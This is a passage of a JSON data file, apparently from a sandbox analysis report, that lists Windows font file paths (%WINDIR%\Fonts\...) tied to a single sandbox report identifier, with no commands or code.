DIR%\\Fonts\\iskpotab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\kalinga.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\kalingab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\kartika.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\kartikab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\KhmerUI.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\KhmerUIb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LaoUI.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LaoUIb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\latha.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\lathab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\lucon.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\malgun.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\malgunbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\mangal.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\mangalb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\meiryo.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\meiryob.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\himalaya.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\msjh.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\msjhbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\msyh.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\msyhbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\mingliu.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\mingliub.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\monbaiti.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\msgothic.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\msmincho.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\mvboli.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ntailu.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ntailub.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\nyala.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\phagspa.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\phagspab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\plantc.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\raavi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\raavib.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\segoesc.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\segoescb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\segoeui.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\segoeuib.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\segoeuii.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\segoeuiz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\seguisb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\segoeuil.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\seguisym.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\shruti.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\shrutib.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\simsun.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\simsunb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\sylfaen.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\taile.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\taileb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\times.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\timesi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\timesbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\timesbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\tunga.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\tungab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\vrinda.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\vrindab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\Shonar.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\Shonarb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\msyi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\tahoma.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\tahomabd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\micross.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\angsa.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\angsai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\angsab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\angsaz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\aparaj.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\aparajb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\aparajbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\aparaji.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cordia.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cordiai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cordiab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cordiaz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ebrima.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ebrimabd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\gisha.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\gishabd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\kokila.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\kokilab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\kokilabi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\kokilai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\leelawad.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\leelawdb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\msuighur.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\moolbor.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\symbol.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\utsaah.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\utsaahb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\utsaahbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\utsaahi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\vijaya.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\vijayab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\wingding.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\modern.fon","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\roman.fon","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\script.fon","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\andlso.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\arabtype.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\simpo.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\simpbdo.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\simpfxo.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\majalla.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\majallab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\trado.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\tradbdo.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ahronbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\david.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\davidbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\frank.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\lvnm.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\lvnmbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\mriam.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\mriamc.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\nrkis.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\rod.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\simfang.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\simhei.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\simkai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\angsau.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\angsaui.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\angsaub.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\angsauz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\browa.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\browai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\browab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\browaz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\browau.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\browaui.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\browaub.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\browauz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cordiau.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cordiaub.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cordiauz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cordiaui.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcdl.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcdi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcdb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcdbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcel.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcei.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upceb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcebi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcfl.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcfi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcfb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcfbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcil.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcii.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcib.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcibi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcjl.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcji.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcjb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcjbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upckl.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcki.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upckb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upckbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcll.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upcli.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upclb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\upclbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\kaiu.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\l_10646.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ariblk.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\calibri.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\calibrii.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\calibrib.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\calibriz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cambria.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cambriai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cambriab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cambriaz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\Candara.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\Candarai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\Candarab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\Candaraz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\comic.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\comicbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\consola.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\consolai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\consolab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\consolaz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\constan.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\constani.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\constanb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\constanz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\corbel.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\corbeli.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\corbelb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\corbelz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\framd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\framdit.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\Gabriola.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\georgia.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\georgiai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\georgiab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\georgiaz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\pala.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\palai.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\palab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\palabi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\segoepr.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\segoeprb.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\trebuc.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\trebucit.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\trebucbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\trebucbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\verdana.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\verdanai